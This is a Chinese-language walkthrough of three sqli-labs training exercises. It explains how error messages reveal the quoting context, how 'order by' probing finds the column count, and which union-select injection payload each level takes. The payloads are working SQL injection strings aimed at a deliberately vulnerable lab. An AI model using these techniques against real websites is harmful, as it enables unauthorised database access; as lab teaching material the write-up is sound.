SQLi题目
第一题:
先尝试-1、‘、“等字符,产生报错信息,通过报错信息来判断接下来如何操作
报错信息用两个单引号标注,我们这里复制出两个单引号之间的内容,就是下面的字符串
报错信息-----> ’ 1’ ’ LIMIT 0,1
根据报错信息,可以确定输入参数的内容被存放到一对单引号中间,
猜想:咱们输入的1在数据库中出现的位置为:select … from … where id=’1’ …,
也可以查看sqli-lab中less-1的php文件可以看到,和猜想一致。
这里直接尝试联合查询,爆出注入点(%23为#的url编码,注释后面内容,–+也是注释, --空格)
首先我们查询列数
当我们输入1‘order by 5 %23
在服务端执行的语句
SELECT * FROM users WHERE id=’ 1 ’ order by 5 %23 ’ LIMIT 0,1
等同于
SELECT * FROM users WHERE id=’ 1 ’ order by 5
依次查询出字段数为3
开始注入
答案------> ?id=-1’ union select 1,2,3%23
第二题:
同样的我们尝试 单引号、双引号报错
报错信息---------> ’ LIMIT 0,1
根据报错信息,可以确定输入参数的内容被直接存放查询语句
查看源代码也可以验证猜想
所以我们直接联合查询,这里步骤与第一题类似,不再复述
答案------> ?id=-1 union select 1,2,3%23
第三题:
同样的我们尝试 单引号、双引号报错
报错信息---------> ‘1’’) LIMIT 0,1
根据报错信息,可以确定输入参数的内容被存放到一对括号中间
查看源代码也可以验证猜想
首先我们查询列数
当我们输入1‘)order by 5 %23
在服务端执行的语句
SELECT * FROM users WHERE id=’ 1 ’ order by 5 %23 ’ LIMIT 0,1
等同于
SELECT * FROM users WHERE id=’ 1 ’ order by 5
依次查询出字段数为3
开始注入
答案------> ?id=-1’) union select 1,2,3 %23